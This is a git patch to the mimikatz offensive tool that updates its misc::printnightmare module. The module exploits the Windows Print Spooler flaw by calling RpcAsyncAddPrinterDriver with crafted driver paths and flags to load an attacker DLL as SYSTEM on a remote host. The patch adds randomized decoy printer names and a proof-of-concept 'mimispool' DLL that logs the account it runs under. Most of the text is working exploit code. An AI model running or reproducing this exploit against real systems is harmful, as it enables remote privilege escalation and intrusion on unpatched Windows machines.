From 51dc7c0363d4e1e1eb2d35f5d5a25841b0801861 Mon Sep 17 00:00:00 2001 From: Benjamin DELPY Date: Mon, 5 Jul 2021 15:02:26 +0200 Subject: [PATCH] [fix] mimikatz misc::printnightmare with @citronneur idea to avoid 'bruteforce' directories [new] mimispool library (specific fail at load to avoid lock) --- mimikatz.sln | 15 +++++ mimikatz/modules/kuhl_m_misc.c | 52 ++++++++-------- mimikatz/modules/kuhl_m_misc.h | 2 +- mimilib/kspool.c | 28 --------- mimilib/kspool.h | 9 --- mimilib/mimilib.def | 2 - mimilib/mimilib.vcxproj | 2 - mimilib/mimilib.vcxproj.filters | 2 - mimispool/mimispool.c | 57 +++++++++++++++++ mimispool/mimispool.h | 12 ++++ mimispool/mimispool.vcxproj | 97 +++++++++++++++++++++++++++++ mimispool/mimispool.vcxproj.filters | 9 +++ 12 files changed, 216 insertions(+), 71 deletions(-) delete mode 100644 mimilib/kspool.c delete mode 100644 mimilib/kspool.h create mode 100644 mimispool/mimispool.c create mode 100644 mimispool/mimispool.h create mode 100644 mimispool/mimispool.vcxproj create mode 100644 mimispool/mimispool.vcxproj.filters diff --git a/mimikatz.sln b/mimikatz.sln index 173d5bb..64cb184 100644 --- a/mimikatz.sln +++ b/mimikatz.sln @@ -83,6 +83,8 @@ Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mimidrv", "mimidrv\mimidrv. EndProject Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mimilove", "mimilove\mimilove.vcxproj", "{60D02E32-1711-4D9E-9AC2-10627C52EB40}" EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mimispool", "mimispool\mimispool.vcxproj", "{0BD5DE6B-8DA5-4CF1-AE53-A265010F52AA}" +EndProject Global GlobalSection(SubversionScc) = preSolution Svn-Managed = True @@ -147,6 +149,19 @@ Global {60D02E32-1711-4D9E-9AC2-10627C52EB40}.Simple_DLL|ARM64.ActiveCfg = Release|Win32 {60D02E32-1711-4D9E-9AC2-10627C52EB40}.Simple_DLL|Win32.ActiveCfg = Release|Win32 {60D02E32-1711-4D9E-9AC2-10627C52EB40}.Simple_DLL|x64.ActiveCfg = Release|x64 + {0BD5DE6B-8DA5-4CF1-AE53-A265010F52AA}.Release|ARM64.ActiveCfg = Release|Win32 + {0BD5DE6B-8DA5-4CF1-AE53-A265010F52AA}.Release|Win32.ActiveCfg = Release|Win32 + {0BD5DE6B-8DA5-4CF1-AE53-A265010F52AA}.Release|Win32.Build.0 = Release|Win32 + {0BD5DE6B-8DA5-4CF1-AE53-A265010F52AA}.Release|x64.ActiveCfg = Release|x64 + {0BD5DE6B-8DA5-4CF1-AE53-A265010F52AA}.Release|x64.Build.0 = Release|x64 + {0BD5DE6B-8DA5-4CF1-AE53-A265010F52AA}.Second_Release_PowerShell|ARM64.ActiveCfg = Release|Win32 + {0BD5DE6B-8DA5-4CF1-AE53-A265010F52AA}.Second_Release_PowerShell|Win32.ActiveCfg = Release|Win32 + {0BD5DE6B-8DA5-4CF1-AE53-A265010F52AA}.Second_Release_PowerShell|Win32.Build.0 = Release|Win32 + {0BD5DE6B-8DA5-4CF1-AE53-A265010F52AA}.Second_Release_PowerShell|x64.ActiveCfg = Release|Win32 + {0BD5DE6B-8DA5-4CF1-AE53-A265010F52AA}.Simple_DLL|ARM64.ActiveCfg = Release|Win32 + {0BD5DE6B-8DA5-4CF1-AE53-A265010F52AA}.Simple_DLL|Win32.ActiveCfg = Release|Win32 + {0BD5DE6B-8DA5-4CF1-AE53-A265010F52AA}.Simple_DLL|Win32.Build.0 = Release|Win32 + {0BD5DE6B-8DA5-4CF1-AE53-A265010F52AA}.Simple_DLL|x64.ActiveCfg = Release|Win32 EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE diff --git a/mimikatz/modules/kuhl_m_misc.c b/mimikatz/modules/kuhl_m_misc.c index 0183890..9f25318 100644 --- a/mimikatz/modules/kuhl_m_misc.c +++ b/mimikatz/modules/kuhl_m_misc.c @@ -1405,16 +1405,16 @@ NTSTATUS kuhl_m_misc_printnightmare(int argc, wchar_t * argv[]) { RPC_BINDING_HANDLE hBinding; RPC_STATUS rpcStatus; - LPCWSTR szRemote, szService, szLibrary, szTry, szShortLibrary; - LPWSTR szSystem32, szDriver, szKernelBase, szDriverPath; - DRIVER_INFO_2 DriverInfo = {3, L"QMS 810", + LPCWSTR szRemote, szService, szLibrary, szShortLibrary; + LPWSTR szRand1, szName1, szName2, szSystem32, szDriver, szKernelBase, szDriverPath; + DRIVER_INFO_2 DriverInfo = {3, NULL, #if defined(_M_X64) || defined(_M_ARM64) L"Windows x64" #elif defined(_M_IX86) L"Windows x86" #endif , NULL, NULL, NULL}; - DWORD AuthnSvc, limit, i; + DWORD AuthnSvc; SEC_WINNT_AUTH_IDENTITY secIdentity = {NULL, 0, NULL, 0, NULL, 0, SEC_WINNT_AUTH_IDENTITY_UNICODE}; if(kull_m_string_args_byName(argc, argv, L"server", &szRemote, NULL) || kull_m_string_args_byName(argc, argv, L"target", &szRemote, NULL)) @@ -1426,7 +1426,6 @@ NTSTATUS kuhl_m_misc_printnightmare(int argc, wchar_t * argv[]) { szShortLibrary++; kprintf(L"| Remote : %s\n", szRemote); - kull_m_rpc_getArgs(argc, argv, NULL, NULL, NULL, &szService, L"host", &AuthnSvc, ((MIMIKATZ_NT_MAJOR_VERSION < 6) ? RPC_C_AUTHN_GSS_KERBEROS : RPC_C_AUTHN_GSS_NEGOTIATE), NULL, &secIdentity, NULL, TRUE); if(kull_m_rpc_createBinding(NULL, L"ncacn_ip_tcp", szRemote, NULL, szService, TRUE, AuthnSvc, secIdentity.UserLength ? &secIdentity : NULL, RPC_C_IMP_LEVEL_DELEGATE, &hBinding, NULL)) { @@ -1442,29 +1441,26 @@ NTSTATUS kuhl_m_misc_printnightmare(int argc, wchar_t * argv[]) { DriverInfo.pDriverPath = szDriverPath; DriverInfo.pDataFile = (LPWSTR) szLibrary; - kprintf(L"* DriverPath: %s\n", DriverInfo.pDriverPath); - kprintf(L"| DataFile : %s (%s)\n", DriverInfo.pDataFile, szShortLibrary); + kprintf(L"* DriverPath: %s\n| DataFile : %s (%s)\n", DriverInfo.pDriverPath, DriverInfo.pDataFile, szShortLibrary); - if(kuhl_m_misc_printnightmare_CallAddPrinterDriverEx(hBinding, szSystem32, &DriverInfo, 0, szKernelBase) == ERROR_SUCCESS) + szRand1 = kull_m_string_getRandomGUID(); + if(szRand1) { - if(kuhl_m_misc_printnightmare_CallAddPrinterDriverEx(hBinding, szSystem32, &DriverInfo, 0, szKernelBase) == ERROR_SUCCESS) + if(kull_m_string_sprintf(&szName1, MIMIKATZ L"-%s-legitprinter", szRand1)) { - if(kuhl_m_misc_printnightmare_CallAddPrinterDriverEx(hBinding, szSystem32, &DriverInfo, 2, szShortLibrary) != ERROR_SUCCESS) + if(kull_m_string_sprintf(&szName2, MIMIKATZ L"-%s-reallylegitprinter", szRand1)) { - if(kull_m_string_args_byName(argc, argv, L"try", &szTry, NULL)) + DriverInfo.pName = szName1; + if(kuhl_m_misc_printnightmare_CallAddPrinterDriverEx(hBinding, &DriverInfo, NULL, szKernelBase) == ERROR_SUCCESS) { - limit = wcstoul(szTry, NULL, 0); - kprintf(L" | Trying : 3 to %u\n", limit); - for(i = 3; i <= limit; i++) - { - if(kuhl_m_misc_printnightmare_CallAddPrinterDriverEx(hBinding, szSystem32, &DriverInfo, i, szShortLibrary) == ERROR_SUCCESS) - { - break; - } - } + DriverInfo.pName = szName2; + kuhl_m_misc_printnightmare_CallAddPrinterDriverEx(hBinding, &DriverInfo, szSystem32, szShortLibrary); } + LocalFree(szName2); } + LocalFree(szName1); } + LocalFree(szRand1); } LocalFree(szDriverPath); } @@ -1547,17 +1543,17 @@ BOOL kuhl_m_misc_printnightmare_CallEnumPrintersAndFindSuitablePath(handle_t hRe return status; } -DWORD kuhl_m_misc_printnightmare_CallAddPrinterDriverEx(handle_t hRemoteBinding, LPCWSTR szSystem32, PDRIVER_INFO_2 pInfo2, DWORD dwStep, LPCWSTR pConfigFile) +DWORD kuhl_m_misc_printnightmare_CallAddPrinterDriverEx(handle_t hRemoteBinding, PDRIVER_INFO_2 pInfo2, LPCWSTR szSystem32, LPCWSTR pConfigFile) { - DWORD ret; + DWORD ret, dwFlags = APD_COPY_FROM_DIRECTORY | 0x8000; // APD_INSTALL_WARNED_DRIVER; DRIVER_CONTAINER container_info; LPWSTR szConfig = NULL; container_info.Level = 2; container_info.DriverInfo.Level2 = pInfo2; - if(dwStep) + if(szSystem32) { - if(kull_m_string_sprintf(&szConfig, L"%sspool\\drivers\\%s\\3\\old\\%u\\%s", szSystem32, + if(kull_m_string_sprintf(&szConfig, L"%sspool\\drivers\\%s\\3\\%s", szSystem32, #if defined(_M_ARM64) L"ARM64" #elif defined(_M_X64) @@ -1565,21 +1561,23 @@ DWORD kuhl_m_misc_printnightmare_CallAddPrinterDriverEx(handle_t hRemoteBinding, #elif defined(_M_IX86) L"W32X86" #endif - , dwStep, pConfigFile)) + , pConfigFile)) { pInfo2->pConfigFile = szConfig; } else pInfo2->pConfigFile = NULL; + dwFlags |= APD_COPY_NEW_FILES; } else { pInfo2->pConfigFile = (LPWSTR)pConfigFile; + dwFlags |= APD_COPY_ALL_FILES; } - kprintf(L"> ConfigFile: %s - ", pInfo2->pConfigFile); + kprintf(L"> ConfigFile: 0x%08x - %s - ", dwFlags, pInfo2->pConfigFile); RpcTryExcept { - ret = RpcAsyncAddPrinterDriver(hRemoteBinding, NULL, &container_info, APD_COPY_ALL_FILES | APD_COPY_FROM_DIRECTORY | 0x8000); // APD_INSTALL_WARNED_DRIVER + ret = RpcAsyncAddPrinterDriver(hRemoteBinding, NULL, &container_info, dwFlags); if (ret == ERROR_SUCCESS) { kprintf(L"OK!\n"); diff --git a/mimikatz/modules/kuhl_m_misc.h b/mimikatz/modules/kuhl_m_misc.h index 585b800..b419733 100644 --- a/mimikatz/modules/kuhl_m_misc.h +++ b/mimikatz/modules/kuhl_m_misc.h @@ -49,7 +49,7 @@ NTSTATUS kuhl_m_misc_printnightmare(int argc, wchar_t * argv[]); NTSTATUS kuhl_m_misc_sccm_accounts(int argc, wchar_t * argv[]); BOOL kuhl_m_misc_printnightmare_CallEnumPrintersAndFindSuitablePath(handle_t hRemoteBinding, LPCWSTR szEnvironment, LPWSTR *szSystem32, LPWSTR *szDriver); -DWORD kuhl_m_misc_printnightmare_CallAddPrinterDriverEx(handle_t hRemoteBinding, LPCWSTR szSystem32, PDRIVER_INFO_2 pInfo2, DWORD dwStep, LPCWSTR pConfigFile); +DWORD kuhl_m_misc_printnightmare_CallAddPrinterDriverEx(handle_t hRemoteBinding, PDRIVER_INFO_2 pInfo2, LPCWSTR szSystem32, LPCWSTR pConfigFile); BOOL CALLBACK kuhl_m_misc_detours_callback_process(PSYSTEM_PROCESS_INFORMATION pSystemProcessInformation, PVOID pvArg); BOOL CALLBACK kuhl_m_misc_detours_callback_module(PKULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION pModuleInformation, PVOID pvArg); diff --git a/mimilib/kspool.c b/mimilib/kspool.c deleted file mode 100644 index 54c933b..0000000 --- a/mimilib/kspool.c +++ /dev/null @@ -1,28 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - https://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : https://creativecommons.org/licenses/by/4.0/ -*/ -#include "kspool.h" - -void kspool() -{ - FILE * kspool_logfile; - WCHAR Buffer[256 + 1]; - DWORD cbBuffer = ARRAYSIZE(Buffer); - -#pragma warning(push) -#pragma warning(disable:4996) - if(kspool_logfile = _wfopen(L"kiwispool.log", L"a")) -#pragma warning(pop) - { - klog(kspool_logfile, L"Hello!\n"); - - if(GetUserName(Buffer, &cbBuffer)) - { - klog(kspool_logfile, L"I\'m running with \'%s\' (and I like it)\n", Buffer); - } - - fclose(kspool_logfile); - } -} \ No newline at end of file diff --git a/mimilib/kspool.h b/mimilib/kspool.h deleted file mode 100644 index 012a7bc..0000000 --- a/mimilib/kspool.h +++ /dev/null @@ -1,9 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - https://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : https://creativecommons.org/licenses/by/4.0/ -*/ -#pragma once -#include "utils.h" - -void kspool(); \ No newline at end of file diff --git a/mimilib/mimilib.def b/mimilib/mimilib.def index 24919af..687a316 100644 --- a/mimilib/mimilib.def +++ b/mimilib/mimilib.def @@ -25,7 +25,5 @@ EXPORTS NPLogonNotify = knp_NPLogonNotify NPGetCaps = knp_NPGetCaps - DrvResetConfigCache = kspool - DllGetClassObject = kcredentialprovider_DllGetClassObject PRIVATE DllCanUnloadNow = kcredentialprovider_DllCanUnloadNow PRIVATE \ No newline at end of file diff --git a/mimilib/mimilib.vcxproj b/mimilib/mimilib.vcxproj index ab1acaa..0968177 100644 --- a/mimilib/mimilib.vcxproj +++ b/mimilib/mimilib.vcxproj @@ -102,7 +102,6 @@ - @@ -119,7 +118,6 @@ - diff --git a/mimilib/mimilib.vcxproj.filters b/mimilib/mimilib.vcxproj.filters index 3044e54..e25dde7 100644 --- a/mimilib/mimilib.vcxproj.filters +++ b/mimilib/mimilib.vcxproj.filters @@ -34,7 +34,6 @@ - @@ -63,7 +62,6 @@ - diff --git a/mimispool/mimispool.c b/mimispool/mimispool.c new file mode 100644 index 0000000..282ddfd --- /dev/null +++ b/mimispool/mimispool.c @@ -0,0 +1,57 @@ +/* Benjamin DELPY `gentilkiwi` + https://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : https://creativecommons.org/licenses/by/4.0/ +*/ +#include "mimispool.h" + +BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) +{ + BOOL ret; + + if(ul_reason_for_call == DLL_PROCESS_ATTACH) + { + kspool(); + ret = FALSE; + } + else + { + ret = TRUE; + } + + return ret; +} + +void kspool() +{ + FILE * kspool_logfile; + WCHAR Buffer[256 + 1]; + DWORD cbBuffer = ARRAYSIZE(Buffer); + +#pragma warning(push) +#pragma warning(disable:4996) + if(kspool_logfile = _wfopen(L"mimispool.log", L"a")) +#pragma warning(pop) + { + klog(kspool_logfile, L"Hello!\n"); + + if(GetUserName(Buffer, &cbBuffer)) + { + klog(kspool_logfile, L"I\'m running with \'%s\' (and I like it :)\n", Buffer); + } + + fclose(kspool_logfile); + } +} + +void klog(FILE * logfile, PCWCHAR format, ...) +{ + if(logfile) + { + va_list args; + va_start(args, format); + vfwprintf(logfile, format, args); + va_end(args); + fflush(logfile); + } +} \ No newline at end of file diff --git a/mimispool/mimispool.h b/mimispool/mimispool.h new file mode 100644 index 0000000..c50e15c --- /dev/null +++ b/mimispool/mimispool.h @@ -0,0 +1,12 @@ +/* Benjamin DELPY `gentilkiwi` + https://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : https://creativecommons.org/licenses/by/4.0/ +*/ +#pragma once +#include +#include + +BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved); +void kspool(); +void klog(FILE * logfile, PCWCHAR format, ...); \ No newline at end of file diff --git a/mimispool/mimispool.vcxproj b/mimispool/mimispool.vcxproj new file mode 100644 index 0000000..1741eae --- /dev/null +++ b/mimispool/mimispool.vcxproj @@ -0,0 +1,97 @@ + + + + + Release + Win32 + + + Release + x64 + + + Release + ARM64 + + + + {0BD5DE6B-8DA5-4CF1-AE53-A265010F52AA} + Win32Proj + mimispool + Svn + Svn + Svn + SubversionScc + 10.0.17763.0 + + + + DynamicLibrary + false + true + Unicode + v100 + v110_xp + v120_xp + v140_xp + v141_xp + static + + + ddk2003 + false + + + v141 + static + + + + $(SolutionDir)$(Platform)\ + $(Platform)\ + false + $(SolutionDir)inc;$(IncludePath) + $(SolutionDir)lib\$(Platform);$(LibraryPath) + + + + Level3 + NotUsing + Full + true + false + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + AnySuitable + Size + true + true + false + false + Fast + false + false + None + true + + + Console + false + true + true + false + advapi32.lib;%(AdditionalDependencies) + true + NoErrorReport + false + true + UseLinkTimeCodeGeneration + + + + + + + + + + \ No newline at end of file diff --git a/mimispool/mimispool.vcxproj.filters b/mimispool/mimispool.vcxproj.filters new file mode 100644 index 0000000..dd3864b --- /dev/null +++ b/mimispool/mimispool.vcxproj.filters @@ -0,0 +1,9 @@ + + + + + + + + + \ No newline at end of file